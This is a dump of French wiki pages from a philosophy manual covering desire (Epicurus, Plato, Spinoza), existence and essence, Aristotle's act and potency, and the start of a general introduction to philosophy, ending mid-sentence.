[[w:Psychologie|Psychologie]] | [[Morale]] | [[Existence]] | [[w:Qualia|Qualia]] Philosophie/Désir 201 46062 2006-06-27T18:38:50Z Guillaumito 46 [[Désir]] déplacé vers [[Philosophie/Désir]]: Convention de nommage {{SommairePhilo}} Nous aborderons la notion de désir en commençant par une définition classique (cf. [[w:Spinoza|Spinoza]]). Nous exposerons ensuite les aspects du désir qui ont le plus retenu l'attention des philosophes, aspects qui concernent la morale et la finalité de la pensée et des actions humaines. Le '''désir''' est une tension vers un but considéré comme une source de satisfaction. C'est une tendance devenue consciente d'elle-même, accompagnée de la représentation du but à atteindre. En tant que tendance ou appétit, le désir est distingué du besoin qui désigne surtout l'élément affectif de cet état. == Analyse de la notion == Par cette définition, nous voyons que le désir n'est pas quelque chose que l'on considère en tant que tel, mais comme une relation particulière que nous entretenons avec un objet. Cet objet (dans un sens général, tout être) est estimé par nous comme une source de satisfaction. Cela suppose, en analysant chaque composant de cette relation : *un être dont les impulsions peuvent se fixer sur un objet ; *un être doté d'une sensibilité et d'une faculté de représentation ; *un être capable d'évaluer la satisfaction que peut lui procurer un objet et qui peut également déterminer quel est l'objet qui le satisfera (mais nous verrons quelles difficultés cela présente souvent) ; *une évaluation de l'objet, évaluation qui implique nos facultés affectives (plaisir procuré par l'objet), cognitives (par exemple, la satisfaction que procure la certitude) et morales. *la représentation que l'obtention d'une certaine relation à l'objet est précisemment ce qui nous comblera. == Questions morales == D'une manière générale, le désir suppose la conscience d'un manque qui traduit notre imperfection. Aussi les philosophes et les moralistes mettent-ils souvent l'accent sur deux aspects négatifs du désir : *son caractère douloureux ; l'insatisfaction peut détruire physiquement et psychologiquement celui qui désire ; *son aspect illimité quand il se reporte sans cesse sur de nouveaux objets. Ces aspects mettent en cause la possibilité pour l'homme d'être heureux. Le [[bonheur]] résiderait de ce fait soit dans l'absence de désir, soit dans la maîtrise de soi (tempérance). Cette conception négative du désir implique certaines questions : *doit-on réduire nos désirs ? *est-il possible de distinguer entre de vrais et de faux désirs ? *cette réduction est-elle un [[devoir]] moral ? *la réduction des désirs conduit-elle au [[bonheur]] ? Ces questions sont des poncifs de la reflexion morale depuis l'[[Antiquité]]. On peut schématiquement opposer deux types de réponse : *le désir doit être réduit ; le bonheur est alors conçu comme un état d'inertie atteint par la suppression de toutes les tensions. Le désir est ainsi une part maudite dont il faut s'émanciper ; *le désir ne peut et ne doit pas être réduit : il est essentiel à la vie. La morale doit donc reconnaître sa valeur. ==Désirs naturels et désirs vains== Les philosophes, depuis les origines de la philosophie, se sont demandés quelle place faire aux désirs. Les réponses sont très variées. Dans le ''Phédon'', [[Platon]] expose l'idée d'une vie ascétique où l'homme doit lutter contre les turbulences de son corps ; les [[Cyrénaïques]], au contraire, font de la satisfaction de tous les désirs le bien suprême. Toutes ces réflexions ont conduit à de nombreuses distinctions, comme on le voit par exemple chez [[Épicure]]. ===La classification des désirs=== La [[morale]] [[épicure|épicurienne]] est une morale qui fait du plaisir le [[bien]], et de la douleur le [[mal]]. Pour atteindre le bonheur (l'[[ataraxie]]), l'épicurien suit les règles du quadruple remède : *les dieux ne sont pas à craindre ; *la mort n'est pas à craindre ; *la douleur est facile à supprimer ; *le bonheur est facile à atteindre. C'est en vue de ce dernier qu'il faut plus particulièrement penser le désir. Épicure classe ainsi les désirs : {| border="1" cellpadding="5" cellspacing="0" align="center" |+'''Classification des désirs selon [[Épicure]]''' ! colspan="4" style="background:#efefef;" align="center" |'''Désirs naturels''' ! colspan="2" style="background:#efefef;" align="center" |'''Désirs vains''' |- ! colspan="3" align="center" | '''Nécessaires''' |'''Simplement naturels''' |'''Artificiels''' |'''Irréalisables''' |- ! align="center"|Pour le bonheur ([[ataraxie]]) ! align="center"|Pour la tranquillité du corps (protection) ! align="center"|Pour la vie (nourriture, sommeil) ! align="center"|Variation des plaisirs, recherche de l'agréable ! align="center"|Ex : richesse, gloire ! align="center"|Ex : désir d'immortalité |- |}</table> Cette classification n'est pas séparable d'un art de vivre, où les désirs sont l'objet d'un ''calcul'' en vue d'atteindre le [[bonheur]]. ===Le calcul des plaisirs=== Pour Épicure, le calcul (ou "arithmétique") des désirs s'oppose à la fois à l'ascétisme, où l'on se contente d'une vie frugale pour respecter une loi morale, et à la débauche, qui entraîne des souffrances du [[corps]] et des troubles de l'[[âme]]. En général, le plaisir est nécessaire au bonheur, et on le recherche tout en fuyant la douleur. Dans certains cas toutefois, nous traitons le bien comme un mal, car il faut fuir un plaisir léger qui aurait pour conséquence une douleur. Par exemple, pour le corps, boire de l'alcool est agréable, mais peut entraîner la déchéance physique ; et pour l'[[âme]], l'amour est la suppression d'un manque, mais peut entraîner la douleur du fait qu'une union parfaite (comme dans le mythe d'[[Aristophane]]) est impossible. Dans d'autres cas, nous acceptons la douleur si elle est passagère, et si elle est la condition d'un plaisir plus haut. Par exemple, l'exercice physique du corps est douloureux, mais la santé qui en résulte est un plaisir. Si on se livre à un calcul véridique des plaisirs, le bonheur sera facile à atteindre. Le résultat sera l'autarcie, état où l'on se suffit à soi-même en limitant ses désirs : on ne dépend pas des autres, et on ne passe pas sa vie à la poursuite d'objets extérieurs. En se contentant de satisfaire des désirs naturels, on a réduit le désir aux besoins naturels. Mais cette limitation des désirs pose la question de savoir si l'on peut réduire le désir au besoin ; et si l'on peut distinguer des besoins naturels et des besoins artificiels. ==Le désir de vérité== Cet exposé de la doctrine épicurienne fait voir qu'il n'est pas facile de distinguer la réalité des désirs. L'épicurisme suppose une insatisfaction fondamentale. Quel est alors le véritable désir de l'homme et comment l'assouvir&nbsp;? Pour [[Platon]], ce désir est le désir de [[vérité]] et il faut pour l'assouvir se libérer de "cette chose mauvaise" qu'est le corps. Il identifie vrai et bien, et donc le vrai désir est la recherche du bien. Les faux désirs sont ceux du corps qui troublent l'âme, l'empêche d'atteindre la vérité et sont sources d'illusions. Cet idéalisme platonicien fait donc du corps une source d'erreur et de mal&nbsp;: *les désirs du corps sont moralement condamnables, sauf quand ils permettent d'accéder aux Idées&nbsp;; *le désir de vérité est en même temps désir du Bien. Tous les philosophes n'ont pas condamné le désir&nbsp;; il faut de plus remarquer que si [[Platon]] condamne [[morale|moralement]] le désir, ce dernier reste la condition d'une spiritualisation des instincts qui passe par la philosophie et la politique et qui est l'expression du désir d'immortalité. Mais peut-on condamner aussi catégoriquement le désir&nbsp;? S'il est la cause de nos actions, on ne le devrait pas, car il serait alors l'essence même de notre [[nature]]. ==L'essence de l'homme== Classiquement, la raison est considérée comme le propre de l'homme. Pourtant cette raison, qui représente en l'homme la sagesse, ne semble pas devoir exister d'une manière parfaite en l'homme : c'est pourquoi le philosophe désire la sagesse, mais n'affirme pas la posséder. On peut donc douter que la raison soit le propre de l'homme en tant qu'elle serait son essence actualisée. C'est bien le désir qui caractérise l'homme, et la raison n'en serait que l'objet. L'homme ne possède pas la raison mais désire la suivre. == Texte d'étude == PLATON ARISTOPHANE. — [...] Jadis, la nature humaine était bien différente de ce qu'elle est aujourd'hui. D'abord il y avait trois sortes d'hommes : les deux sexes qui subsistent encore, et un troisième composé de ces deux-là; il a été détruit, la seule chose qui en reste, c'est le nom. Cet animal formait une espèce particulière et s'appelait androgyne, parce qu'il réunissait le sexe masculin et le sexe féminin; mais il n'existe plus, et son nom est en opprobe. En second lieu, tous les hommes présentaient la forme ronde. Ils avaient le dos et les côtes rangés en cercle, quatre bras, quatre jambes, deux visages attachés à un cou orbiculaire et parfaitement semblables, une seule tête qui réunissait ces deux visages opposés l'un à l'autre, quatre oreilles, deux organes de la génération, et le reste dans la même proportion. [...] Leur corps était robuste et vigoureux, et leur courage élevé, ce qui leur inspira l'audace de monter jusqu'au ciel et de combattre contre les dieux, ainsi qu'Homère l'écrit d'Éphialte et d'Otos. Zeus examina avec les dieux le parti qu'il fallait prendre. L'affaire n'était pas sans difficulté : les dieux ne voulaient pas anéantir les hommes, comme autrefois les géants, en les foudroyant, car alors le culte et les sacrifices que les hommes leur offraient auraient disparu; mais, d'un autre côté, ils ne pouvaient souffrir une telle insolence. Enfin, après de longues réflexions, Zeus s'exprima en ces termes : "Je crois avoir trouvé, dit-il, un moyen de conserver les hommes et de les rendre plus retenus, c'est de diminuer leurs forces. Je les séparerai en deux; par là, ils deviendront faibles; et nous aurons encore un autre avantage, ce sera d'augmenter le nombre de ceux qui nous servent [...]." Après cette déclaration, le dieu fit la séparation qu'il venait de résoudre; et il la fit de la manière que l'on coupe les œufs lorsqu'on veut les saler, et qu'avec un cheveu on les divise en deux parties égales. Il commanda ensuite à Apollon de guérir les plaies, et de placer le visage et la moitié du cou du côté où la séparation avait été faite, afin que la vue de ce châtiment les rendît plus modestes. [...] Cette division étant faite, chaque moitié cherchait à rencontrer celle dont elle avait été séparée; et, lorsqu'elles se trouvaient toutes les deux, elles s'embrassaient et se joignaient avec une telle ardeur, dans le désir de rentrer dans leur ancienne unité, qu'elles périssaient dans cet embrassement de faim et d'inaction, ne voulant rien faire l'une sans l'autre [...]. Et ainsi la race allait s'éteignant. Zeus, ému de pitié, imagine un autre expédient : il met par-devant les organes de la génération, car auparavant ils étaient par derrière; on concevait et l'on répandait la semence, non l'un dans l'autre, mais à terre, comme les cigales. Zeus mit donc les organes par-devant et, de cette manière, la conception se fit par la conjonction du mâle et de la femelle. Alors, si l'union se trouvait avoir lieu entre l'homme et la femme, des enfants en étaient le fruit, et si le mâle venait à s'unir au mâle, la satiété les séparait bientôt, et les renvoyait à leurs travaux et aux autres soins de la vie. De là vient l'amour que nous avons naturellement les uns pour les autres : il nous ramène à notre nature primitive, il fait tout pour réunir les deux moitiés et pour nous rétablir dans notre ancienne perfection. Le Banquet, 189d-191d PLATON DIOTIME. — [...] Celui qui, dans les mystères de l'Amour, se sera élevé jusqu'au point où nous en sommes, après avoir parcouru dans l'ordre convenable tous les degrés du beau, parvenu enfin au terme de l'initiation, apercevra tout à coup une beauté merveilleuse, celle, ô Socrate, qui était le but de tous ses travaux antérieurs : beauté éternelle, incréée et impérissable, exempte d'accroissement et de diminution, beauté qui n'est point belle en telle partie et laide en telle autre, belle seulement en tel temps et non en tel autre, belle sous un rapport et laide sous un autre, belle en tel lieu et laide en tel autre, belle pour ceux-ci et laide pour ceux-là; beauté qui n'a rien de sensible comme un visage, des mains, ni rien de corporel, qui n'est pas non plus tel discours ou telle science, qui ne réside pas dans un être différent d'elle-même, dans un animal, par exemple, ou dans la terre, ou dans le ciel, ou dans toute autre chose; mais qui existe éternellement et absolument par elle-même et en elle-même; de laquelle participent toutes les autres beautés, sans que leur naissance ou leur destruction lui apporte la moindre diminution ou le moindre accroissement, ni la modifie en quoi que ce soit. Quand, des beautés inférieures on s'est élevé, par un amour bien entendu des jeunes gens, jusqu'à cette beauté parfaite, et qu'on commence à l'entrevoir, on touche presque au but. Car le droit chemin de l'amour, qu'on le suive de soi-même ou qu'on y soit guidé par un autre, c'est de commencer par les beautés d'ici-bas et de s'élever jusqu'à la beauté suprême, en passant, pour ainsi dire, par tous les degrés de l'échelle, d'un seul beau corps à deux, de deux à tous les autres, des beaux corps aux belles occupations, des belles occupations aux belles sciences, jusqu'à ce que de science en science on parvienne à la science par excellence, qui n'est autre que la science du beau lui-même, et qu'on finisse par le connaître tel qu'il est en soi. Ô mon cher Socrate, poursuivit l'étrangère de Mantinée, si quelque chose donne du prix à cette vie, c'est la contemplation de la beauté absolue. Et, si tu y parviens jamais, que te sembleront auprès d'elle l'or et la parure, les beaux enfants et les beaux jeunes gens, dont la vue maintenant te trouble et te charme à un tel point, toi et beaucoup d'autres, que, pour voir sans cesse ceux que vous aimez, pour être sans cesse avec eux, si cela était possible, vous seriez prêts à vous priver de boire et de manger, et à passer votre vie dans leur commerce et leur contemplation ! Que penser d'un mortel à qui il serait donné de contempler la beauté pure, simple, sans mélange, non revêtue de chairs et de couleurs humaines et de toutes les autres vanités périssables, mais la beauté divine elle-même ? Penses-tu que ce serait une destinée misérable que d'avoir les regards fixés sur elle, que de jouir de la contemplation et du commerce d'un pareil objet ? Ne crois-tu pas, au contraire, que cet homme, étant le seul ici-bas qui perçoive le beau par l'organe auquel le beau est perceptible, pourra seul engendrer, non pas des images de vertu, puisqu'il ne s'attache pas à des images, mais des vertus véritables, puisque c'est à la vérité qu'il s'attache ? Or, c'est à celui qui enfante et nourrit la véritable vertu qu'il appartient d'être chéri de Dieu; et si quelque homme doit être immortel, c'est celui-là surtout. Le Banquet, 210e-212a EPICURE Il faut, en outre, considérer que, parmi les désirs, les uns sont naturels, les autres vains, et que, parmi les désirs naturels, les uns sont nécessaires, les autres naturels seulement. Parmi les désirs nécessaires, les uns le sont pour le bonheur, les autres pour l'absence de souffrances du corps, les autres pour la vie même. En effet, une étude de ces désirs qui ne fasse pas fausse route, sait rapporter tout choix et tout refus à la santé du corps et à l'absence de troubles de l'âme, puisque c'est là la fin de la vie bienheureuse. Car c'est pour cela que nous faisons tout: afin de ne pas souffrir et de n'être pas troublés. Une fois cet état réalisé en nous, route la tempête de l'âme s'apaise, le vivant n'ayant plus à aller comme vers quelque chose qui lui manque, ni à chercher autre chose par quoi rendre complet le bien de l'âme et du corps. Alors, en effet, nous avons du plaisir quand, par suite de sa non-présence, nous souffrons, <mais quand nous ne souffrons pas>, nous n'avons plus besoin du plaisir. Et c'est pourquoi nous disons que le plaisir est le principe et la fin de la vie bienheureuse. Lettre à Ménécée ==Bibliographie== * [[Le Banquet]], Platon * [[Phédon]], [[Platon]] * De l'âme, [[Aristote]] * Lettre à Ménécée, [[Épicure]] * [[L'Ethique]], [[Spinoza]] * Généalogie de la morale, [[Friedrich Nietzsche]] * Crépuscule des Idoles, [[Friedrich Nietzsche]] ==Les notions== [[Volonté]] | [[Passion]] | [[Morale]] | [[Bonheur]] Philosophie/Existence et temps 202 46064 2006-06-27T18:39:02Z Guillaumito 46 [[Existence et temps]] déplacé vers [[Philosophie/Existence et temps]]: Convention de nommage {{SommairePhilo}} Le mot "existence" désigne le fait d'[[être]], par exemple le fait d'être d'une manière absolue, le fait d'être donné pour la [[perception]], ou encore pour la [[conscience]]. "Existence" s'oppose à la fois à l'[[concept d'essence|essence]] (le ce que c'est), et au néant qui est sa négation. == Le problème métaphysique de l'existence == Tous les êtres existent, et c'est une évidence de dire que la [[pensée]] (et même l'imaginaire) et l'[[action]] supposent l'existence. Exister c'est être; être c'est exister. Ainsi l'existence est-elle quelque chose d'immédiat, qui constitue le commencement de tout.<br> En ce sens, l'existence est le simple fait d'être, l'être conçu sans détermination aucune, sans prédicat, sans rien : l'être commence donc par l'indétermination de l'existence, indétermination du fait d'être pur et simple. Ainsi, cette première [[idée]] de l'existence nous la ferait concevoir par une [[connaissance]] immédiate. De ce point de vue : *être et pensée sont identiques ; *l'existence est immédiatement connue. La connaissance de ce qu'est l'existence est ainsi issue originellement de l'existence même. Chacun aurait donc un savoir immédiat de l'immédiat. Ces points soulèvent quelques unes des difficultés fondamentales de la [[philosophie]] : *si l'existence est connu par un moi, l'existence des choses peut-elle en être déduite ? *l'existence est-elle immédiatement connue par notre [[conscience]] ? *L'existence est-elle un objet de connaissance ? Ces questions entraînent des distinctions : *existence pour un moi (subjective) et existence des choses (objectives) : dans l'[[idéalisme]] moderne, c'est l'existence subjective en tant que [[pensée]] qui est absolument certaine. *être et existence : on distingue entre "être" et "être un être". === L'origine métaphysique de l'existence=== Dans cette dernière distinction, on peut estimer que la philosophie a traditionnellement choisi l'être au détriment de l'existence, ce qui se traduit par la formulation d'[[Aristote]] : ''L'objet éternel de toutes les recherches présentes et passées, le point toujours en suspens : qu'est-ce que l'être ? revient à demander qu'est ce que la substance ?'' A la suiet de [[Platon]], la recherche d'[[Aristote]] se porte donc sur l'[[concept d'essence|essence]], et non sur l'existence, et l'existence serait ainsi occultée : l'existence doit toujours métaphysiquement se penser par rapport à l'essence ; l'essence est la condition d'intelligibilité de l'existence. De ce point de vue essentialiste, il découle plusieurs conséquences imporantes : *l'essence est l'être possible, et l'existence l'être réel ; *l'existence d'un être est fonction de son essence ; *l'existence est donc définie par son essence, et c'est la notion d'essence qui exprime le mieux l'existence ; *l'existence est subordonnée aux lois de l'essence, qui lui donne donc ses limites et sa perfection ; *la différence entre les essences produit une hiérarchie des existences i.e. une hiérarchie de la réalité : il y a de l'ordre ; *plus une essence est parfaite, plus l'existence qui en découle est parfaite ; *[[Dieu]] (ou le Bien, l'acte pur, etc.) -étant la souveraine essence, est ce dont procède toute existence ; il serait d'ailleurs également la seule véritable essence, dont l'existence découle nécessairement, ce qui ferait de toute [[métaphysique]] et de toute [[science]], une [[théologie]] (''Philosophie première'' chez [[Aristote]]). Or, cette [[métaphysique]] pose un problème très simple : si l'existence dépend à ce point de l'essence ([[définition]], intelligibilité, structure de l'[[être]], [[raison]] d'être, etc.) alors pourquoi quelque chose existe-t-il ''en dehors'' de l'essence ? <br> Une réponse est que [[Dieu]] a crée les essences et accomplit ce passage du possible au réel que la raison humaine ne parvient pas a penser (voir aussi [[Platon]], [[Timée]]). Mais le problème est toujours le même : comment une essence suprême peut-elle poser hors d'elle quelque chose de contingent et d'inférieur, l'existence ? === Philosophie de l'existence === Face à ces problèmes, on peut vouloir penser l'existence d'une manière autonome, indépendemment de l'essence. C'est le renversement existentiel de la métaphysique : le fait d'exister devient le point de départ de la pensée, ce qui donne sens véritablement à notre expérience. C'est l'existence sans essence, i.e. sans raison et sans hiérarchie. == L'analyse de l'existence en tant que phénomène == L'existence, dans la [[métaphysique]] occidentale, est en-dehors du [[concept]] : en ce sens, on ne peut lui reprocher d'avoir ignorer l'existence, puisque l'existence est simplement ce qui échappe à l'essence : l'existence ne se déduit pas du concept, elle n'est pas un prédicat mais une position -ce qui est posé ici et maintenant (cf. Kant).<br> Mais l'existence est aussi ce qui est individuel, est par conséquent elle relève non du savoir sur ce qui est, mais de la subjectivité. C'est donc l'individu qui est l'existant, et la connaissance de sa réalité passe par sa conscience et par ses actes (sa volonté). Or, c'est cette aspect de l'existence qu'ignore la spéculation métaphysique, à laquelle s'opposent les philosophies qui partent de l'individu, de sa liberté et de ses choix de vie. === La conscience de l'existence === La [[réalité]] de l'existence peut être appréhendée de manière affective (cf. la sensibilité chez [[Rousseau]]), indépendamment de la [[raison]], i.e. que ce qui en est saisit ne se déduit pas de l'essence, n'est pas démontrable, est irréfutable ([[Nietzsche]]) et semble donc surtout un phénomène irrationnel. Mais cette conscience affective peut être conçue comme une "humeur" (''Stimmung'', cf. [[Heidegger]]) a priori, i.e. une tonalité de l'existence qui précède la saisie des choses dans leur particularité. Cette tonalité est alors contemporaine de ce qui est appelé "ouverture au monde." *nausée, chez Sartre, les choses perdant leur sens utilitaire ne peuvent plus être nomméés ; c'est alors leur existence pure qui devient envahissante, incontrôlable. La conscience hésite entre la fusion sujet/objet et le rejet. *angoisse : pour [[Heidegger]], l'angoisse, à la différence de la peur, n'a pas d'objet réel identifiable dans l'expérience. La peur peut être combattue par l'emploie de moyens de protections contre un danger bien identifié. L'angoisse, au contraire, n'ayant aucun objet, est une angoisse de rien, et sa source est par conséquent l'existant lui-même qui a à être de manière authentique. *[[bonheur]] : au contraire des philosophies contemporaines de l'existence qui placent au cœur de l'existent, dans sa structure même, des sentiments plutôt négatifs, un [[philosophe]] comme [[Rousseau]] pense trouver sous la fausseté de la vie sociale le pure plaisir de l'exister qui est l'épanouissement naturel de la sensibilité : cette sensibilité est pour lui le point de départ de l'existence. === L'être-au-monde === === La finitude === Dans les philosophies de l'existence, la [[liberté]] est un absolu, l'essence indépassable de l'existence. Mais cette liberté ne peut être son propre fondement, car il y a une facticité originaire de la liberté qui en révèle donc la finitude insurmontable. La liberté est néanmoins l'homme même, son existence et elle définit la condition humaine : nous sommes condamnés à la liberté, nous y sommes jétés, exactement comme nous sommes jetés-là dans le monde. == L'art d'exister == *sagesse et mort *l'éthique *la culture de soi (esthétique de l'existence) *la foi == Bibliographie == *''Proslogion'', [[Anselme de Canterbury]] *''[[La Cité de Dieu]]'', [[Augustin d'Hippone]] *''De la production originelle des choses prise à la racine'', [[Leibniz]] *''[[Critique de la raison pure]]'', [[Kant]] *''Encyclopédie des sciences philosophiques'', [[Hegel]] *''Méditations cartésiennes'', [[Husserl]] *''Être et temps'', [[Heidegger]] *''L'être et l'existence'', [[Etienne Gilson]] *''Phénoménologie de la perception'', [[Merleau-Ponty]] *''Le mythe de Sisyphe'', [[Albert Camus]] == Liens == [[Concept d'essence]] | [[Être]] | [[Existentialisme]] | [[Vie]] | [[Mort]] | [[Liberté]] Existence 203 46411 2006-06-28T20:58:30Z Guillaumito 46 correction double redirection #REDIRECT [[Philosophie/Existence et temps]] Philosophie/Acte/Puissance 204 46098 2006-06-27T18:56:15Z Guillaumito 46 [[Acte/Puissance]] déplacé vers [[Philosophie/Acte/Puissance]]: Convention de nommage {{SommairePhilo}} La '''puissance''' est chez [[Aristote]] associée à la [[matière]], alors que l''''acte''' relève plutôt des causes formelles et finales (voir [[les 4 causes]]). L'exemple dont Aristote se sert le plus est celui de la statue : elle est en puissance contenue dans la pierre ou l'airain, et c'est le sculpteur qui l'actualise. La puissance représente donc l'indéterminé : un bloc de marbre recèle en puissance une infinité de statues, mais une seule en émergera. L'acte, et en particulier l'acte humain, est ce qui donne forme au monde : l'œuvre est extraite de la matière. La croissance d'un embryon, par exemple, est vue par Aristote comme l'émergence d'un être à partir de la matière donnée par l'œuf ou les menstrues. Quant à l''''entéléchie''', elle est souvent difficile à distinguer de l'acte dans les textes d'Aristote. Elle n'est pas pour autant totalement synonyme de l'acte : elle est à la fois le processus qui mène de la puissance à l'actualisation, et l'actualisation à son plus haut degré d'achèvement, lorsqu'elle ne renferme plus aucune indétermination issue de la matière. L'âme, qui donne sa forme aux corps de tous les être vivants, n'est jamais désigné comme une actualisation, mais toujours comme une entéléchie, signe de la perfection et de l'accomplissement d'une nature parfaitement achevée dans ses formes et dans ses fins : "il y a beaucoup plus de finalité et de beauté dans les œuvres de la nature que dans celles de l'art." (''Parties des Animaux'') Philosophie/Introduction générale 206 46369 2006-06-28T14:32:58Z Guillaumito 46 [[Introduction générale à la philosophie]] déplacé vers [[Philosophie/Introduction générale]]: Convention de nommage {{SommairePhilo}} <font size="+2"><center>'''Manuel de philosophie'''</center></font> <br> ---- <br> <font size="+2"><center>'''INTRODUCTION G&Eacute;N&Eacute;RALE'''</center></font> <br> <br> Quand on commence à étudier la philosophie, dans le contexte d'un cours ou de soi-même pour des raisons diverses, il peut sembler naturel et légitime de commencer par poser la question "qu'est-ce que la philosophie ?" Pourtant, commencer par une définition qui prétendrait dévoiler d'un coup la nature de la philosophie, et même dans le cas où cette définition serait correcte, poserait certaines difficultés spécifiques ou non à la philosophie : *du point de vue de l'apprentissage, il est possible de soutenir que l'appropriation de la définition d'une chose, ou, du moins, la connaissance la plus complète que l'on puisse en acquérir, est le résultat d'une succession de processus cognitifs : chaque étape de l'apprentissage, bien qu'insuffisant en soi-même, est indispensable à la connaissance du tout. Cela n'est pas seulement valable pour la philosophie, mais pour toutes les sciences, et pour toutes les activités humaines complexes, y compris les activités du corps (danse, musique, etc.). Tout l'intérêt de cette difficulté est de mettre en lumière l'aspect technique de l'apprentissage intellectuel, et, pour ce qui nous concerne, cela pose la question de savoir comment on peut enseigner la philosophie. *si l'on formule une definition en se dispensant de ces difficultés de l'apprentissage, on ne proposera aux élèves et au commençants quels qu'ils soient, qu'une abstraction, abstraction au sens où cela laisserait de côté l'idée que la philosophie est une activité et qu'elle demande donc l'effort de certains exercices intellectuels. Il apparaît donc préférable de montrer avant tout que la philosophie commence par un apprentissage, et qu'elle n'est pas seulement une transmission d'un savoir constitué et achevé : le professeur de philosophie n'a pas pour but d'enseigner un tel savoir positif. Ainsi, avant même de penser au contenu que l'on souhaite exposer dans un enseignement de philosophie, il faut penser aux moyens par lesquels on apprend à penser : comment peut-on se rendre capable, ou rendre quelqu'un capable d'atteindre une véritable compréhension de la philosophie, et par où commencer ? Cela peut-être fait par la prise de conscience de certains problèmes spécififiques et une assimilation des concepts guidée par le professeur ; le but est ainsi de former la capacité de jugement des élèves. Sans cet exercice du jugement, on ne peut faire un philosophe, et, à plus forte raison, on rend difficile l'accès à l'instruction et à la culture philosophique. D'un autre côté, on ne peut instruire ceux qui refusent la philosophie et on ne peut faire un philosophe malgré lui. C'est pourquoi, sans doute, certains sont peu aptes à devenir philosophes. On suppose donc ici au préalable des esprits non encore instruits et inexpérimentés, mais pour qui la philosophie peut être un excitant intellectuel. Le but de cette introduction n'est pas de donner une définition de la philosophie ; il est plus modestement de donner une idée générale d'une notion qui ne se comprend qu'à travers l'étude de l'ensemble de ses concepts et de son histoire. C'est pourquoi le lecteur peut tout aussi bien commencer par lire les chapitres qui concernent les notions du programme. D'après ce que nous venons dire, une telle démarche serait d'ailleurs préférable. Se demander ce qu'est la philosophie est un problème philosophique de premier ordre, et c'est ce problème qui sera surtout examiné dans cette introduction. Il ne faut jamais oublier que de par sa démarche intellectuelle et pratique, la philosophie n'est jamais quelque chose d'évident et de définitif. Nous commencerons par l'analyse du mot, son étymologie, et nous examinerons ses emplois dans le langage ordinaire. Puis nous fairons un bref exposé de l'origine de la philosophie, car la philosophie est aussi un évènement historique, et on peut se demander pourquoi elle est née à tel endroit et à telle époque, pourquoi elle s'épanouit dans telle civilisation et pas dans telle autre. Nous chercherons ensuite ce qui fait la spécificité de la philosophie, comment nous pouvons la distinguer des autres activités ou croyances humaines. == Analyse du concept == *Pour les sens dérivés, voir ''[[w:Philosophie, dérivée|Sens dérivés]]'' === Etymologie === Le mot '''philosophie''' est un mot d'origine grecque (philosophia, φιλοσοφία ). Il se décompose en philo- (verbe ''philein'' : ''aimer'', ''chercher'') d'une part, et, d'autre part, -sophie (nom ''sophia'' : ''connaissance'', ''savoir'', ''sagesse''). Le verbe ''philein'' a également le sens de ''donner un baiser'' et ''avoir coutume''. Si l'on considère les mot composés de la racine ''phil-'', on trouve que les sens suivants peuvent apparaître en fonction du suffixe : ami, amitié, passion, plaisir, se plaire à, bienveilance (être amical), servir, accueillir (un étranger par exemple). D'autre part, le verbe ''philosophein'' signifie ''chercher la culture, philosopher, être philosophe, étudier à fond, méditer.'' Et le mot ''philosophia'' signifie de même ''recherche de la culture'', ''étude profonde''. On attribue l'invention du mot ''philosophie'' à [[w:Pythagore|Pythagore]], qui refusait de se considérer comme un sage (''sophos'') car la possession de la connaissance est le privilège des dieux. Il préférait être appelé « amoureux de la connaissance » (''philosophos''), c'est-à-dire amoureux des réalités divines. Mais, avant Pythagore, on appelait ''sophoi'' ceux qui cherchaient à connaître les réalités divines et humaines, sans que ce mot soit péjoratif. Il y a donc, à l'origine de la philosophie, d'un côté ceux que l'on appelle les sages (Thalès de Milet, etc.), et de l'autre ceux qui furent appelés philosophes. Mais le mot ''sophiste'' a pris un autre sens qui permet de cerner un peu mieux la figure du philosophe : le philosophe s'oppose au sophiste, au sens péjoratif donné par [[w:Platon|Platon]] : le sophiste est un marchand de connaissances frelatées, c'est un faux-monnayeur qui prétend déjà détenir la ''sophia.'' La philosophie, d'après cette étymologie, n'est donc pas seulement '''''l'amour de la connaissance, de la sagesse, du savoir''''', i.e. une « recherche de la sagesse ou de la connaissance », c'est aussi, et peut-être essentiellement, une recherche de ce qui cultive les facultés de l'esprit, par opposition à l'érudition. En effet, la [[culture]] suppose une éducation de l'esprit tournée vers la mesure et la droiture du jugement. L'érudition est au contraire (selon le mot de [[w:Kant|Kant]]) l'intempérance de l'esprit : on apprend au hasard des rencontres, et l'on mémorise un grand nombre de choses, mais l'on ne se forme pas l'esprit. L'amour de la sagesse n'est donc pas l'étude de l'histoire de la philosophie (ce que un tel a pensé à telle époque), mais l'exercice de l'esprit au contact de certaines réalités (il n'est donc pas paradoxal d'affirmer que l'esprit peut se développer au contact de l'histoire, si ce contact ne se réduit pas à une accumulation stérile de connaissances). Platon a analysé ce sens d'amour/recherche, c'est-à-dire de '''[[désir]]''', en en faisant le mobile de l'activité même de philosopher (cf. [[w:Le Banquet|Le Banquet]]). Le désir naturel excite la recherche de la beauté, mais cette recherche, quand elle se veut spirituelle, est déçue par l'inconsistance de ses objets qui lui révèlent la vacuité du devenir. Le philosophe est alors conduit à un désir de posséder les vrais biens, les véritables objets du désir, objets dont le monde sensible n'est qu'un reflêt ou une manière d'être. Ainsi [[w:Spinoza|Spinoza]] déclare-t-il, dans son ''Traité de la réforme de l'entendement'' (§1.) : :« Quand l'expérience m'eut appris que tous les événements ordinaires de la vie sont vains et futiles, voyant que tout ce qui était pour moi cause ou objet de crainte ne contenait rien de bon ni de mauvais en soi, mais dans la seule mesure où l'âme en était émue, je me décidai en fin de compte à rechercher s'il n'existait pas un bien véritable et qui pût se communiquer, quelque chose enfin dont la découverte et l'acquisition me procurerait pour l'éternité la jouissance d'une joie suprême et incessante. » L'étymologie nous a permis d'en apprendre un peu plus sur les sens du mot ; est-ce que cela nous apprend quelque chose sur la philosophie elle-même, nous verrons cela plus loin. En résumé : *la philosophie concerne la connaissance, mais pas au sens encyclopédique du terme, car la philosophie est d'abord '''une activité intellectuelle''', une activité de l'esprit et non une reception passive d'un savoir déjà constitué En ce sens, la science, nous le disons d'après le témoignage de plusieurs scientifiques sur le traditionalisme des institutions scientifiques - ([[w:Max Planck|Max Planck]] et Heisenberg) - la science est une activité intellectuelle qui en elle-même n'est pas incompatible avec certaines formes de conformismes (cette remarque peut d'ailleurs très bien s'appliquer à la philosophie institutionnelle): : « A nouveaux je réalisais à quel point il est difficile pour un physicien d'abandonner les idées qui ont jusque là constitué la base de sa pensée et de son travail scientifique. » Werner Heisenberg (à propos de Einstein) Un philosophe qui n'accepterait pas d'interroger tous les dogmes et tous les préjugés n'est sans doute pas digne de ce nom. *l'activité philosophique se rapporte aux choses divines, et celui qui s'y consacre par la méditation se 